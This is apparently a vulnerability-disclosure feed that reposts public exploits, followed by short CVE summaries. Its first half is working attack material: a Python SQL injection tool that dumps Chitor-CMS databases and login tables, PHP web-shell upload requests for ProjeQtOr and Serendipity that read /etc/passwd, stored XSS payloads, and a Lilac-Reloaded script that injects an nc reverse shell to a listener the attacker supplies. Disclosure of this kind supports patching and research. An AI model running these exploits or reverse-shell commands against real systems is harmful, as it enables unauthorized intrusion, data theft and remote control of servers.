Chitor-CMS version 1.1.2 suffers from a remote SQL injection vulnerability.

    #!/usr/bin/python3########################################################                                                     # #  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          ##  Date: 2023/04/13               ##  ExploitAuthor: msd0pe                                  ##  Project: https://github.com/waqaskanju/Chitor-CMS  ##  My Github: https://github.com/msd0pe-1             ##  Patched the 2023/04/16: 69d3442 commit             ##                                                     ########################################################__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'__author__ = 'msd0pe'__version__ = '1.1'__date__ = '2023/04/13'class bcolors:    PURPLE = '\033[95m'    BLUE = '\033[94m'    GREEN = '\033[92m'    OCRA = '\033[93m'    RED = '\033[91m'    CYAN = '\033[96m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'class infos:    INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] "    ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] "    GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] "    PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] "import reimport requestsimport optparsefrom prettytable import PrettyTabledef DumpTable(url, database, table):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    columns = []    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                columns.append(i)                pass    except:        pass    x.field_names = columns    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                x.add_rows([i])    except ValueError:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                i.append("")                x.add_rows([i])            print(x)def ListTables(url, database):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["TABLES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def ListDatabases(url):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["DATABASES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def Main():    Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__)    Menu.add_option('-u', '--url', type="str", dest="url", help='target url')    Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases')    Menu.add_option('-D', '--db', type="str", dest="database", help='select a database')    Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables')    Menu.add_option('-T', '--table', type="str", dest="table", help='select a table')    Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content')    (options, args) = Menu.parse_args()    Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump    """)    Menu.add_option_group(Examples)    if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}:        Menu.print_help()        print('')        print('  %s' % __description__)        print('  Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC)        print('  Any malicious or illegal activity may be punishable by law')        print('  Use at your own risk')    elif len(args) == 0:        try:            if options.url != None:                if options.l_databases != None:                    ListDatabases(options.url)                if options.database != None:                    if options.l_tables != None:                        ListTables(options.url, options.database)                    if options.table != None:                        if options.dump != None:                            DumpTable(options.url, options.database, options.table)        except:            print("Unexpected error")if __name__ == '__main__':    try:        Main()    except KeyboardInterrupt:        print()        print(infos.PROCESS + "Exiting...")        print()        exit(1)

Chitor-CMS 1.1.2 SQL Injection

ProjeQtOr Project Management System version 10.3.2 suffers from a remote shell upload vulnerability.

Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)  
Application: ProjeQtOr Project Management System  
Version: 10.3.2  
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download  
Date of found: 19.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:

POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 1177  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic  
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"  
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentId"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefType"

User  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefId"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentType"

file  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentLink"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentDescription"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentPrivacy"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="uploadType"

html5  
------WebKitFormBoundaryY0bpJaQzcvQberWR--

visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar

ProjeQtOr Project Management System 10.3.2 Shell Upload

Piwigo version 13.6.0 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)Application: PiwigoVersion: 13.6.0 Bugs:  Stored XSSTechnology: PHPVendor URL: https://piwigo.org/Software Link: https://piwigo.org/get-piwigoDate of found: 18.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)payload: <img%20src=x%20onerror=alert(4)>POST /piwigo/admin.php?page=photo-9 HTTP/1.1Host: localhostContent-Length: 159Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/piwigo/admin.php?page=photo-9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380feConnection: closename=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings

Piwigo 13.6.0 Cross Site Scripting

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Serendipity version 2.4.0 suffers from a cross site scripting vulnerability.

    Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)Author: Mirabbas AğalarovApplication: SerendipityVersion: 2.4.0Bugs:  Stored XSSTechnology: PHPVendor URL: https://docs.s9y.org/Software Link: https://docs.s9y.org/downloads.htmlDate of found: 13.04.2023Tested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the new entry can do thispayload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3EPOST /serendipity/serendipity_admin.php? HTTP/1.1Host: localhostContent-Length: 730Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1bConnection: closeserendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=12. visit the entry you created

Serendipity 2.4.0 Cross Site Scripting

Serendipity version 2.4.0 suffers from a remote shell upload vulnerability.

Exploit Title: Serendipity 2.4.0  - Remote Code Execution (RCE) (Authenticated)  
Application: Serendipity   
Version:  2.4.0   
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://docs.s9y.org/  
Software Link: https://docs.s9y.org/downloads.html  
Date of found: 13.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
If we load the poc.phar file in the image field while creating a category, we can run commands on the system.  
<?php echo system("cat /etc/passwd"); ?>  
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.

Visit to http://localhost/serendipity/uploads/poc.phar

poc request:

POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1  
Host: localhost  
Content-Length: 1561  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b  
Connection: close

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[token]"

ae9b8ae35a756c24f9552a021ee81d56  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[action]"

admin  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminModule]"

media  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminAction]"

add  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar"  
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd");?>

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][1]"

poc.phar  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][1]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[column_count][1]"

true  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageurl]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageimporttype]"

image  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc--

poc video :  https://youtu.be/_VrrKOTywgo

Serendipity 2.4.0 Shell Upload

A vulnerability has been found in I Recommend This Plugin up to 3.7.2 on WordPress and classified as critical. Affected by this vulnerability is an unknown functionality of the file dot-irecommendthis.php. The manipulation leads to sql injection. The attack can be launched remotely. Upgrading to version 3.7.3 is able to address this issue. The name of the patch is 058b3ef5c7577bf557557904a53ecc8599b13649. It is recommended to upgrade the affected component. The identifier VDB-226309 was assigned to this vulnerability.

Skip to content

Sign up

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    Explore
    
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   For
    
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    By Solution
    
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    Case Studies
    
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    Repositories
    
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

*   In this repository All GitHub
    

*   No suggested jump to results

*   In this repository All GitHub
    
*   In this organization All GitHub
    
*   In this repository All GitHub
    

Sign in

Sign up

wp-plugins / **i-recommend-this** Public

*   Notifications
*   Fork 0
*   Star 0
    

*   Code
*   Pull requests
*   Actions
*   Projects
*   Security
*   Insights

More

Releases Tags

*   3.7.3
*   0dd1cb3

*   Compare
    
    Choose a tag to compare
    

3.7.3: Fixed a Possible SQL injection vulnerability reported by \[Oskar Adin\]…

*   3.7.3
*   0dd1cb3
*   Compare
    
    Choose a tag to compare
    

tagged this

24 Sep 17:35

…(https://github.com/osadi) and fixed by \[Danny van Kooten\](https://twitter.com/DannyvanKooten).

git-svn-id: https://plugins.svn.wordpress.org/i-recommend-this/tags/3.7.3@996219 b8457f37-d9ea-0310-8a92-e5e31aec5664

Assets 2

*   Source code (zip)
    
    2014-09-24T17:35:51Z
    
*   Source code (tar.gz)
    
    2014-09-24T17:35:51Z

CVE-2014-125099: Release 3.7.3: Fixed a Possible SQL injection vulnerability reported by [Oskar Adin]… · wp-plugins/i-recommend-this

Strapi through 4.5.5 allows attackers (with access to the admin panel) to discover sensitive user details by exploiting the query filter. The attacker can filter users by columns that contain sensitive information and infer a value from API responses. If the attacker has super admin access, then this can be exploited to discover the password hash and password reset token of all users. If the attacker has admin panel access to an account with permission to access the username and email of API users with a lower privileged role (e.g., Editor or Author), then this can be exploited to discover sensitive information for all API users but not other admin accounts.

CVE-2023-22894: Multiple Critical Vulnerabilities in Strapi Versions <=4.7.1

Code Sector TeraCopy 3.9.7 does not perform proper access validation on the source folder during a copy operation. This leads to Arbitrary File Read by allowing any user to copy any directory in the system to a directory they control.

CVE-2023-29586: CWE - CWE-285: Improper Authorization (4.10)

Cross-site scripting (XSS) vulnerability was discovered in Online Jewelry Shop v1.0 that allows attackers to execute arbitrary script via a crafted URL.

**Privilege-escalation-in-online-jewelry-website - CVE-2023-27777**

Vertical Privilege Escalation vulnerability found in Online Jewellery Store from Sourcecodester website.

Description: A stored cross-site scripting (XSS) vulnerability in /index.php?page=category\_list of Online Jewelry Shop v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Category Name parameter.

\[Additional Information\] NA

\[Vulnerability Type\] Vertical Privilege Escalation

\[Vendor of Product\] https://www.sourcecodester.com/

\[Affected Product Code Base\] Online Jewelry Shop using PHP/MySQLi with Source Code

\[Affected Component\] http://localhost/jewelry/admin/index.php?page=category\_list

\[Attack Type\] Remote

\[Impact Information Disclosure\] True

\[Attack Vectors\] Steps to reproduce: Login with user credentials in one browser (Chrome) Login with admin credentials in another browser (Firefox) In Firefox browser click on Categories - Add New and copy the link http://localhost/jewelry/admin/index.php?page=new\_category Navigate to Chrome where we logged in as a user and observe we don't have the functionality for the user to add categories. Paste the link we copied from Firefox in Chrome. Enter any category name and click on Save. The category name will be saved.

\[Discoverer\] M Lohith

CVE-2023-27777: GitHub - lohyt/Privilege-escalation-in-online-jewelry-website: Vertical Privilege Escalation vulnerability found in Online Jewellery Store from Sourcecodester website.

Tag

#php